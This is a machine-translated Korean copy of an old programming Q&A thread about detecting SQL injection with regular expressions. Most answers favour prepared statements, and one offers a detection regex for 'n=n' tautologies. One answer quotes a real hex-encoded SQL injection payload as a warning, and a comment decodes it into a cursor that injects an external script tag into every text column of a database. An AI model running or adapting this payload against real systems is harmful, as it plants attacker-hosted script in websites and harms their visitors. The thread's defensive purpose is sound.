2008-09-05 5 views
4

문자열에서 SQL을 감지 할 수있는 정규 표현식이 있습니까? 누구든지 공유하기 위해 이전에 사용한 적이있는 샘플을 가지고 있습니까?SQL 인젝션을 탐지하기위한 RegEx

+0

@SQLMenace 희망의 MySQL의 일반 로그와 같은 쿼리 로그에 사용 SQL 삽입을 감지합니다. 그러나 동의하지 않으면 조건을 감지 할 수 없습니다. 대부분의 경우 사용자 입력에 유효하지 않은 "declare"및 "exec"가 특정 예제에서 작동합니다. – YonahW

+0

@SQLMenace 라이브러리/드라이버는 PreparedStatement를 사용할 때 매개 변수 값의 이스케이프 처리가 필요합니다. 이것은 PreparedStatement를 사용할 때의 주요 이점 중 하나입니다. 더 나은 쿼리 최적화를 비롯한 많은 다른 방법이 있지만 주입에 대한 보호는 아마도 내가 가장 좋아하는 방법 일 것입니다. –

답변

41

하지 마십시오. 실제로 실패 할 확률이 높습니다. 대신 PreparedStatement (또는 동급)을 사용하십시오.

+1

이것은 좋은 조언이지만 실제 문제는 해결되지만 공격을 감지하고 추가 조치를 취할 수도 있습니다. 준비된 문장을 사용하면 공격을 막을 수는 있지만 누군가 공격하려고한다고 말하지는 않습니다. – Timbo

+4

그런 종류의 탐지가 당신에게 얼마나 중요한지에 따라 달라질 것입니다. 가장 쉬운 검사는 가양 성 (false positives)을 유발할 가능성이 있습니다 ('항상 공격의 징후가 아니며 O'Banion이라는 사용자 일 수 있습니다). 더 정교 해지면 기능을 수행 할 수있는 시간을 먹기 시작합니다. –

+2

나는 OP가 위험을 완화하기 위해 정규 표현식을 사용하기를 원한다는 것을 반드시의 미한다고 생각하지 않습니다. 나는 모든 것을 걸러 내고 빠져 나간다. 그러나 나는 (SQL injection 시도를 포함해서)해서는 안되는 일을하고있는 사용자에게 플래그를 지정하기를 원하기 때문에 좋은 SQL 주입 정규식을 정확하게 찾고있다. – TMG

0

정규식이 없지만 가장 중요한 것은 작은 따옴표를 검색하는 것입니다. 모든 사격 공격이 거기에서 시작됩니다. 아마도 문자열을 주석 처리 할 수있는 다른 SQL이있을 것입니다.

13

저장된 procs 또는 prepared statements를 사용하면 어떻게 될 것입니까? BTW 실행하지 마십시오

DECLARE%[email protected]%20VARCHAR(4000);SET%[email protected]=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243 
    4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S); 
+1

코드가 무엇인지 설명해 주시겠습니까? 아주 관심있어. 감사! –

+2

이 숫자는 sql 쿼리로 변환됩니다 (DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u'및 (b.xtype = 99 (@@ FETCH_STATUS = 0) BEGIN EXEC ('UPDATE ['+ @ T + b.xtype = 35 OR b.xtype = 35 또는 b.xtype = 231 OR b.xtype = 167) '] SET ['+ @ C + '] = RTRIM (CONVERT (VARCHAR (4000), ['+ @ C + '])) +' ' '' ') FETCH NEXT FROM Table_Cursor INTO @ T, @ C END CLOSE Table_Cursor DEALLOCATE Table_Cursor) varchar로 캐스팅 한 후 –

4

자신을 저장하고 준비된 문이나 매개 변수가있는 쿼리와 함께 저장 프로 시저를 사용하십시오. 어쨌든 저장 프로 시저는 데이터베이스에 대한 인터페이스처럼 작동하기 때문에 좋은 연습입니다. 따라서 저장 프로 시저 내부에서 일어나는 일을 변경할 수 있지만 서명은 동일하게 유지됩니다. 준비된 진술은 주입 보호를 돕습니다.

0

마찬가지로 준비된 문을 사용하는 것이 좋습니다. 스토어드 프로 시저에 의해 실행될 주요 쿼리를 강요하여 강제로 호출 준비를 할 수 있다고 주장 할 수 있습니다.

어쨌든 여기에 고전적인 n = n 정수를 탐지하는 간단한 grep이 있습니다. 물론 진수 문자열 비교를 감지 개선 할 수있는 OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4 

의는 AND 많은 게으른 쿼리 생성자에 의해 사용 1 = 1,하지만 것이다 플래그에게 그것을 신고 건너 뜁니다,하지만 빠른 감지했다 등 ORD (MID (같은 다른 greps와 함께 메커니즘,

같은 난에 정규식을 사용하는 것이 좋습니다하지 않는 것이

가 유용

+0

알다시피, SQL 주입과 관련하여 n = n에는 "클래식"이 전혀 없습니다. 이 정규 표현식은 "Robert"에 대한 리터럴 부분 문자열 검색보다 유용하지 않습니다.) DROP TABLE students; " SQL 인젝션을 탐지 할 수 있기를 희망합니다. –

+0

SQL 삽입을 위해 _god regex_를 제공하지 않았다. 난 그냥 단순한 일반적인 정수 조건에 대한 비교를 공유 할 생각 –